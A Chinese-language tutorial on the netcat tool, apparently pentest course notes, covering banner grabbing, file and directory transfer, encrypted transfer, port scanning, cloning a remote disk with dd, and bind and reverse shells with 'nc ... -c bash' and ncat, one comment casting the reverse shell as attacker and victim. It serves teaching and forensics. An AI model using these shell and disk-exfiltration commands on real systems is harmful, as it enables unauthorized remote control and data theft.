Netcat-NC 工具的使用

netcat---网络工具中的“瑞士军刀”( 小身材,大智慧)

  • 侦听模式/ 传输模式
  • telnet /获取banner信息
    • nc -nv IP Port
    传输文本信息(可实现两台电脑的“聊天”)
    • A: nc -l -p 4444
    • B: nc -nv 1.1.1.1 4444
  • 传输文件/ 目录
  • 加密传输文件
  • 远程控制木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘
root@bogon:~# nc -h
[v1.10-41.1]
connect to somewhere:    nc [-options] hostname port[s] [ports] ... 
listen for inbound:    nc -l -p port [-options] [hostname] [port]
options:
    -c shell commands    as `-e'; use /bin/sh to exec [dangerous!!]
    -e filename        program to exec after connect [dangerous!!]
    -b            allow broadcasts
    -g gateway        source-routing hop point[s], up to 8
    -G num            source-routing pointer: 4, 8, 12, ...
    -h            this cruft
    -i secs            delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
    -l            listen mode, for inbound connects
    -n            numeric-only IP addresses, no DNS
    -o file            hex dump of traffic
    -p port            local port number
    -r            randomize local and remote ports
    -q secs            quit after EOF on stdin and delay of secs
    -s addr            local source address
    -T tos            set Type Of Service
    -t            answer TELNET negotiation
    -u            UDP mode
    -v            verbose [use twice to be more verbose]
    -w secs            timeout for connects and final net reads
    -C            Send CRLF as line-ending
    -z            zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
nc -h

远程电子取证的要求就是尽可能不破坏现场,在NC传输文本信息的基础上

对于服务端开启监听;
nc -l -p 4444
nc -l -p 4444 > nc.text
---------------------------
对于客户端开启命令传输:
①直接 nc -nv 192.168.56.134 4444
此时,这输入嘛,服务端就显示嘛。
② 执行命令后,将结果显示在服务端。
ls -l |nc -nv 192.168.56.134 4444
这样命令就显示在远程端了。
③ 远程端想将结果保存下来:
服务端这样:nc -l -p 4444 > nc.text
客户端这样:ls -al |nc -nv 192.168.56.134 4444

root@bogon:~# ps aux |nc -nv 192.168.56.134 4444 -q 1
(UNKNOWN) [192.168.56.134] 4444 (?) open
这个 -q 1 是说命令执行完等1s就退出。

 传输文件和目录这样:

 A:nc -lp 333 > 1.mp4
 B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1
 或
 A:nc -q 1 -lp 333 < a.mp4
 B: nc -nv 1.1.1.1 333 > 2.mp4

• 传输目录
A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf – • 加密传文件 A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
#需要先安装下mcrypt

流媒体服务这样:

A: cat 1.mp4 | nc -lp 3333
B: nc -lp 1.1.1.1 3333 | mplayer -vo x11 -cache 3000 -
#mplayer需要自行安装,也可以其他软件,管道过来播放就行

端口扫描(简单的)

nc -nvz 1.1.1.1 1-65535  //TCP
nc –nvzu 1.1.1.1 1-102   //UDP

远程克隆硬盘

A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1 
#远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。

 远程控制(..反弹shell)

正向:
服务器开监听端口并启动bash,客户端来连接。
 A:nc -lp 333 -c bash
 B:nc 1.1.1.1 333 

反向:
服务器开启监听端口等着,客户端来连接启动bash,把自己的bash主动反弹过来
 A:nc -lp 333
 B:nc 1.1.1.1 333 -c bash

#注:Windows⽤用户把bash改成cmd
#反向的是攻击端自己开个服务监听,让被害端连过来

NC—与—NCAT

• Nc缺乏加密和⾝份验证的能⼒

Ncat包含在nmap⼯工具包中

A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B:ncat -nv 1.1.1.1 333 --ssl

ncat的管道加密

 #不同系统/平台的NC参数功能不尽相同。例如Ubuntu...

你可能感兴趣的:(Netcat-NC 工具的使用)